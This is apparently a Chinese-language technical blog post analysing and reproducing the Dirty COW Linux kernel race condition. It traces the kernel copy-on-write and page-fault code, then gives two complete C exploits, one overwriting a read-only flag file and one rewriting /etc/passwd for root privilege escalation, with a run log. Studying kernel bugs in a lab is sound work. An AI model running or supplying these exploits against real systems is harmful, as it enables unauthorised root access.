0%

Kernel 现实漏洞复现:Dirty Cow

Dirty Cow 漏洞成因

Dirty COW 漏洞是一种发生在写时复制 Copy-On-Write 的条件竞争漏洞

  • 自2007年9月 linux kernel-2.6.22 被引入,直到2018年 linux kernel 4.8.3, 4.7.9, 4.4.26 之后才被彻底修复

写时复制:

  • 使用 fork 系统调用创建子进程,那么这个子进程通过使页表条目指向相同的物理内存来共享父进程内存
  • 当任何进程试图写入内存时,会引发异常,OS 将为子进程分配新的物理内存,从父进程复制内容,更改每个进程的页表使它指向自己的私有内存副本
  • 其基本原理为:修改父页面为不可写(不管之前是什么权限),当程序尝试往该页中写入数据时,程序就会触发页中断,然后根据标志位来判断页中断原因为 COW,之后就调用对应的函数来分配 COW 页,并建立 COW 页表项

条件竞争:

  • 一个系统或者进程的输出,依赖于不受控制的事件出现顺序,或者出现时机
  • 在多个进程(线程)同时访问和操作相同的数据时,访问的顺序可能与预期有差别,这将造成较为严重的安全问题

COW 执行过程执行三个重要步骤:

  • 制作映射内存的副本
  • 更新页表,使虚拟内存指向新创建的物理地址
  • 写入内存

由于三个步骤不是原子性的,一个线程在执行这三个步骤过程中可能被其他线程中断,从而产生潜在的竞态条件

Dirty Cow 漏洞利用

Dirty Cow 的利用需要两个系统调用:

  • mmap:将一个文件或者其它对象映射到进程的地址空间
  • madvise:建议内核如何使用指定段的内存(当参数设置为 MADV_WILLNEED 时,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空)
1
git clone https://github.com/dirtycow/dirtycow.github.io

伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Main:
fd = open(filename, O_RDONLY)
fstat(fd, &st)
map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0)
start Thread1
start Thread2

Thread1:
f = open("/proc/self/mem", O_RDWR);
while (1):
lseek(f, map, SEEK_SET);
write(f, shellcode, strlen(shellcode));

Thread2:
while (1):
madvise(map, 100, MADV_DONTNEED);
  • 主线程打开目标文件,并且把该文件映射到内存(非匿名映射)
  • Thread1 循环向写入 map 中写入数据
  • Thread2 循环对 map 解除映射

接下来就详细分析一下这个过程:(内核版本为:4.1.4)

用户态 mmap 在内核中对应的函数为 sys_mmap,其核心函数为 do_mmap_pgoff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff,
unsigned long *populate)
{
struct mm_struct *mm = current->mm;
vm_flags_t vm_flags;

*populate = 0;

/*
* Does the application expect PROT_READ to imply PROT_EXEC?
*
* (the exception is when the underlying filesystem is noexec
* mounted, in which case we dont add PROT_EXEC.)
*/
if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
if (!(file && (file->f_path.mnt->mnt_flags & MNT_NOEXEC)))
prot |= PROT_EXEC;

if (!len)
return -EINVAL;

if (!(flags & MAP_FIXED))
addr = round_hint_to_min(addr);

/* Careful about overflows.. */
len = PAGE_ALIGN(len);
if (!len)
return -ENOMEM;

/* offset overflow? */
if ((pgoff + (len >> PAGE_SHIFT)) < pgoff)
return -EOVERFLOW;

/* Too many mappings? */
if (mm->map_count > sysctl_max_map_count)
return -ENOMEM;

/* Obtain the address to map to. we verify (or select) it and ensure
* that it represents a valid section of the address space.
*/
addr = get_unmapped_area(file, addr, len, pgoff, flags); /* 获取一段当前进程未被使用的虚拟地址空间,并返回其起始地址 */
if (addr & ~PAGE_MASK)
return addr;

/* Do simple checking here so the lower-level routines won't have
* to. we assume access permissions have been handled by the open
* of the memory object, so we don't do any here.
*/
vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;

if (flags & MAP_LOCKED)
if (!can_do_mlock())
return -EPERM;

if (mlock_future_check(mm, vm_flags, len))
return -EAGAIN;

if (file) {
struct inode *inode = file_inode(file);

switch (flags & MAP_TYPE) {
case MAP_SHARED: /* 共享映射 */
if ((prot&PROT_WRITE) && !(file->f_mode&FMODE_WRITE))
return -EACCES;

/*
* Make sure we don't allow writing to an append-only
* file..
*/
if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
return -EACCES;

/*
* Make sure there are no mandatory locks on the file.
*/
if (locks_verify_locked(file))
return -EAGAIN;

vm_flags |= VM_SHARED | VM_MAYSHARE;
if (!(file->f_mode & FMODE_WRITE))
vm_flags &= ~(VM_MAYWRITE | VM_SHARED);

/* fall through */
case MAP_PRIVATE: /* 私有内存 */
if (!(file->f_mode & FMODE_READ))
return -EACCES;
if (file->f_path.mnt->mnt_flags & MNT_NOEXEC) {
if (vm_flags & VM_EXEC)
return -EPERM;
vm_flags &= ~VM_MAYEXEC;
}

if (!file->f_op->mmap)
return -ENODEV;
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
break;

default:
return -EINVAL;
}
} else {
switch (flags & MAP_TYPE) {
case MAP_SHARED:
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
/*
* Ignore pgoff.
*/
pgoff = 0;
vm_flags |= VM_SHARED | VM_MAYSHARE;
break;
case MAP_PRIVATE:
/*
* Set pgoff according to addr for anon_vma.
*/
pgoff = addr >> PAGE_SHIFT;
break;
default:
return -EINVAL;
}
}

/*
* Set 'VM_NORESERVE' if we should not account for the
* memory use of this mapping.
*/
if (flags & MAP_NORESERVE) {
/* We honor MAP_NORESERVE if allowed to overcommit */
if (sysctl_overcommit_memory != OVERCOMMIT_NEVER)
vm_flags |= VM_NORESERVE;

/* hugetlb applies strict overcommit unless MAP_NORESERVE */
if (file && is_file_hugepages(file))
vm_flags |= VM_NORESERVE;
}

addr = mmap_region(file, addr, len, vm_flags, pgoff); /* 完成映射过程 */
if (!IS_ERR_VALUE(addr) &&
((vm_flags & VM_LOCKED) ||
(flags & (MAP_POPULATE | MAP_NONBLOCK)) == MAP_POPULATE))
*populate = len;
return addr;
}
  • 前面就是根据 flags 中的标志位进行一些设置
  • 后面进入 mmap_region 函数完成映射
  • 值得注意的一点是:如果没有设置 flag=MAP_POPULATE(提前建立页表的标志位),是不会建立页表项的
  • 也就是说,当后续的 write 读取该 VMA 对应的地址空间时,会触发缺页异常 page_fault

page_fault 可能有多种原因:

  • 访问地址不在虚拟地址空间
  • 访问地址在虚拟地址空间中,但没有访问权限
  • 访问地址在虚拟地址空间中,但没有与物理地址间建立映射关系

Linux 内核关于 page_fault 的处理是通过一系列系统调用函数实现的:

1
do_page_fault() -> handle_mm_fault() -> handle_pte_fault() -> do_fault()
  • do_page_fault:会检查多种异常原因,比如缺页异常的地址在内核空间还是用户空间,是内核态还是用户态触发的异常等等情况
  • handle_mm_fault:为发生 page_fault 的地址分配各级页表目录
  • handle_pte_fault:从上层函数得到了缺页异常的 pte(页表项),然后做多层检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
entry = *pte;
barrier();
if (!pte_present(entry)) { /* pte所指向的物理地址不存在 */
if (pte_none(entry)) { /* pte中内容为空,表示进程第一次访问该页 */
if (vma->vm_ops)
return do_fault(mm, vma, address, pte, pmd,
flags, entry); /* 非匿名区域,分配物理页框 */

return do_anonymous_page(mm, vma, address, pte, pmd,
flags); /* vma为匿名区域,分配物理页框,初始化为全'0' */
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry); /* 说明该页之前存在于主存中,但是被Swap机制换出了,于是再次换回即可 */
}

if (pte_protnone(entry)) /* pte所指向的物理地址存在,即该页在物理内存中 */
return do_numa_page(mm, vma, address, entry, pte, pmd);

ptl = pte_lockptr(mm, pmd);
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry)))
goto unlock;
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry)) /* 对应的页不可写 */
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry); /* 进行写时复制,将内容写到副本页面上 */
entry = pte_mkdirty(entry); /* 对应的页可写,将该页"标脏" */
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
if (flags & FAULT_FLAG_WRITE) /* 如果存在FAULT_FLAG_WRITE标志位,表示缺页异常由写操作引起 */
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
  • 如果该 pte 不在物理内存中
    • 如果 pte 为空,说明进程第一次访问该页面
      • 如果 vma 属性是匿名映射(没有真实的磁盘文件与该地址对应)
      • 如果 vma 不是匿名,说明是文件映射,进入 do_fault 函数
    • 如果 pte 不为空,说明该页此前访问过,但是被换出了,只需要再换入即可
    • PS:pte 既可以索引到内存中的物理页,也可以索引交换区描述符 swap_info_structswap_info 数组的下标,以及在 swap_map 中的偏移量
  • 如果该 pte 在物理内存中,说明此次 page_fault 不是页面缺失引起,检查是否由写操作引起
    • 页面不可写,进入 do_wp_page 进行 COW 操作
    • 页面可写,标记 dirty
  • do_fault:检查各种标志位,根据不同的情况调用不同的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;

pte_unmap(page_table);
/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
if (!vma->vm_ops->fault)
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE)) /* 非写操作引起的缺页异常(读操作) */
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED)) /* 非访问共享内存(私有文件映射)引起的缺页异常(写操作) */
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte); /* 进行写时复制,缺页的COW处理函数 */
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); /* 访问共享内存引起的缺页异常 */
}

Dirty Cow 漏洞就源自于内核对 Cow 的处理不当,这里我们重点关注以下函数:

  • do_wp_page:不缺页的 COW 处理函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;

old_page = vm_normal_page(vma, address, orig_pte);
if (!old_page) { /* 当old_page是NULL时 */
if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))
return wp_pfn_shared(mm, vma, address, page_table, ptl,
orig_pte, pmd);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}

if (PageAnon(old_page) && !PageKsm(old_page)) { /* 先处理匿名页面 */
if (!trylock_page(old_page)) {
page_cache_get(old_page);
pte_unmap_unlock(page_table, ptl);
lock_page(old_page);
page_table = pte_offset_map_lock(mm, pmd, address,
&ptl);
if (!pte_same(*page_table, orig_pte)) {
unlock_page(old_page);
pte_unmap_unlock(page_table, ptl);
page_cache_release(old_page);
return 0;
}
page_cache_release(old_page);
}
/* 调用reuse_swap_page判断使用该页的是否只有一个进程,若是的话就直接重用该页 */
if (reuse_swap_page(old_page)) {
page_move_anon_rmap(old_page, vma, address);
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl,
orig_pte, old_page, 0, 0); /* 一般的cow流程会走到这里,重用由do_cow_fault分配好的内存页副本 */
}
unlock_page(old_page);
} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))) {
return wp_page_shared(mm, vma, address, page_table, pmd,
ptl, orig_pte, old_page);
}

page_cache_get(old_page);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
  • do_cow_fault:缺页的 COW 处理函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;

if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;

new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); /* 分配新物理页 */
if (!new_page)
return VM_FAULT_OOM;

if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {
page_cache_release(new_page);
return VM_FAULT_OOM;
}

ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); /* 查找原始映射页 */
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;

if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma); /* 拷贝fault_page内容到new_page */
__SetPageUptodate(new_page);

pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) {
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); /* 设置pte表项 */
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
  • wp_page_reuse:重用由 do_cow_fault 分配好的内存页副本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static inline int wp_page_reuse(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
struct page *page, int page_mkwrite,
int dirty_shared)
__releases(ptl)
{
pte_t entry;
if (page)
page_cpupid_xchg_last(page, (1 << LAST_CPUPID_SHIFT) - 1);

flush_cache_page(vma, address, pte_pfn(orig_pte));
entry = pte_mkyoung(orig_pte);
/* 设置pte的dirty位,如果VMA是可写的,还会给pte标记可写 */
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
if (ptep_set_access_flags(vma, address, page_table, entry, 1))
update_mmu_cache(vma, address, page_table);
pte_unmap_unlock(page_table, ptl);

if (dirty_shared) {
struct address_space *mapping;
int dirtied;

if (!page_mkwrite)
lock_page(page);

dirtied = set_page_dirty(page);
VM_BUG_ON_PAGE(PageAnon(page), page);
mapping = page->mapping;
unlock_page(page);
page_cache_release(page);

if ((dirtied || page_mkwrite) && mapping) {
balance_dirty_pages_ratelimited(mapping);
}

if (!page_mkwrite)
file_update_time(vma->vm_file);
}

return VM_FAULT_WRITE; /* 这个标志表示已经做好了COW,这个页面可以写入 */
}

接下来就重点分析一下 write 函数写入 VMA 对应地址的过程:

  • 前面分析到,程序执行 mmap 生成 VMA 结构体是只读的,并且没有设置页表项
  • 接下来 write 的调用链如下:
1
sys_write -> ... -> mem_rw -> ... -> copy_to_user -> __get_user_pages
  • 这里我们只需要关注最后一个函数 __get_user_pages
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
......
retry:
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched(); /* 主动让出cpu资源,防止其在内核态执行时间过长导致可能发生的soft lockup或者造成较大的调度延迟 */
page = follow_page_mask(vma, start, foll_flags, &page_mask); /* 获取page */
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking); /* 处理page_fault */
switch (ret) { /* 对返回值进行处理 */
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
......
}
EXPORT_SYMBOL(__get_user_pages);
  • 如果页面 page 不存在则会调用 faultin_page 处理异常页:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
......

if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;

......

ret = handle_mm_fault(mm, vma, address, fault_flags); /* 为发生page_fault的地址分配各级页表目录 */

......
/* 为了结束上层函数的retry循环,解决page_fault,在确定已经完成COW操作后(通过VM_FAULT_WRITE标志确定),会解除FOLL_WRITE(写请求)标志 */
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}
  • 设置完标志 flag 后,进入 handle_mm_fault,分配各级页表项

第一次处理 page_fault 的流程如下:

  • 用户态函数 write 执行到内核中的 __get_user_pages 时,会因为 mmap 没有为 VMA 设置页表而调用 faultin_page 来处理 page_fault
  • 然后依次调用 handle_mm_faulthandle_pte_fault
  • 此时 pte 索引的物理地址不存在,pte 中的内容为空(没有设置页表项),VMA 地址是非匿名映射,所以会调用 do_fault
  • 由于触发 page_fault 的原因为 write 函数的“写缺页”,因此会调用 do_cow_fault 进行写时复制:分配一个新页面作为文件映射内存的副本页(只读),并建立 COW 页的页表项
  • 跳转回到 retry

第二次处理 page_fault 的流程如下:

  • 程序第二次执行 follow_page_mask 时因为分配了属性为不可写的 COW 页而,从而继续调用 faultin_page 来处理 page_fault
  • 然后依次调用 handle_mm_faulthandle_pte_fault
  • 此时 pte 所指向的物理地址存在(COW 分配了页表),对应的 COW 页不可写,因此程序会调用 do_wp_page 进行写时复制
  • 由于第一次 faultin_page 执行 do_cow_fault 时已经分配了副本页,因此会直接调用 wp_page_reuse 重用这个页(COW 分配的页面属于匿名页),并返回 VM_FAULT_WRITE
  • 返回到 faultin_page 中时,由于返回了 VM_FAULT_WRITE 标志,表示已经完成了 COW 页的分配,但是注意到此时 COW 页时只读的,如果我们再次进入 follow_page_mask,那么写和只读会冲突,又会返回 NULL,这样就会陷入 retry 的循环
  • Linux 为了防止该冲突,选择在 faultin_page 函数的最后,检查 VM_FAULT_WRITE 标志以确定完成了 COW 操作,然后去掉了 COW 页的 FOLL_WRITE 标志使其可以写入
1
2
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
  • 跳转回到 retry

第三次处理 page_fault 的正常流程如下:

  • 由于之前去掉了 FOLL_WRITE 标志,因此不会检查 PTE 有没有写入权限,因此第三次执行 follow_page_mask 将会返回 COW 页
  • 退出 retry 循环,在 COW 页上执行 write 的剩余工作

第三次处理 page_fault 的异常流程如下:(触发 COW)

  • 如果我们在第二次 faultin_page 函数去掉 flags 里的 FOLL_WRITE 标志之后,通过竞争条件,执行 madvice 函数清空页表项(在 get_user_page 里有一步 cond_resched 线程调度操作,提供了条件竞争的机会)
  • 线程调度结束,返回 write 线程,又会重新进入 follow_page_mask 然后因为 pte 被清空导致缺页,函数返回 NULL,再次进入 faultin_page,然后会一直运行到 do_fault,此时不再要求写入权限,因此程序就会认为触发页中断的原因是“读缺页”,所以会执行 do_read_fault 函数,建立文件映射页的页表项
  • 注意:此时的可写页为 COW 页,但是该 COW 页的页表项却索引到了文件映射页所在的物理内存地址,操纵该 COW 页其实就相当于直接控制文件映射页
  • 接着从 do_fault 返回到 handle_pte_fault 中,检查到页面可写,从而给页面标记 dirty
  • 随后回到 retry

第四次处理 page_fault 的流程如下:

  • 第四次进入 follow_page_mask,不要求写权限,从而成功返回映射到文件的 COW 页(已经标记为 dirty,表示该页可以写入磁盘)
  • 在文件映射页上执行 write 的剩余工作(此时虽然该映射页只读,但是内核还是可以强制写入,完成越权写操作)

参考:脏牛(Dirty COW)漏洞攻击实验(SEED-Lab:Dirty-COW Attack Lab)

Dirty Cow 漏洞复现

1.修改服务器上 flag 文件的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED); /* 取消map的映射 */
}
printf("madvise %d\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR); /* 打开mem文件 */
int i,c=0;
for(i=0;i<1000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET); /* 偏移到map映射的区域 */
c+=write(f,str,strlen(str)); /* 写入目标字符串 */
}
printf("procselfmem %d\n", c);
printf("success!!!\n");
}

int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;

f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); /* 把文件映射到map指向的内存区域 */
printf("mmap %zx\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
  • 结果如下:
1
2
3
4
5
6
7
8
9
/ $ cat flag
flag{yhellow}
/ $ ./dirtyc0w flag flag{cooooow}
mmap b7784000
madvise 0
procselfmem 13000000
success!!!
/ $ cat flag
flag{cooooow}

调试内核选用32位的 linux-4.1.4(quem 对64位 linux-4.x 的内核兼容性不是很好,尝试了好几个版本都失败了)

  • 断点到 do_page_fault
1
2
3
4
5
6
7
  0xc1041600 <do_page_fault>            push   ebp
0xc1041601 <do_page_fault+1> mov ebp, esp
0xc1041603 <do_page_fault+3> mov ecx, cr2
0xc1041606 <do_page_fault+6> call __do_page_fault <__do_page_fault>
arg[0]: 0xf4d33fa8 —▸ 0xf54bff48 —▸ 0xf54bff54 —▸ 0xf54bff6c —▸ 0xf54bffac ◂— ...
arg[1]: 0xc1825eca (page_fault+98) ◂— jmp 0xc1824f90
arg[2]: 0xbffffffd
  • 由于本人不会调试内核多线程,后面的操作就没法展示了

2.修改 /etc/passwd 中用户的 uid 和组 id 来实现提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;

void *writeThread(void *arg)
{
/* 改写passwd文件实现提权 */
char *content= "charlie:x:0:0:,,,,,,,,,,,,,,,,,,:/root:/bin/bash";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
}
}

void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}

int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

int f=open("/etc/passwd", O_RDONLY);

fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

char *position = strstr(map, "yhellow"); /* 找到对应的用户名位置 */
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}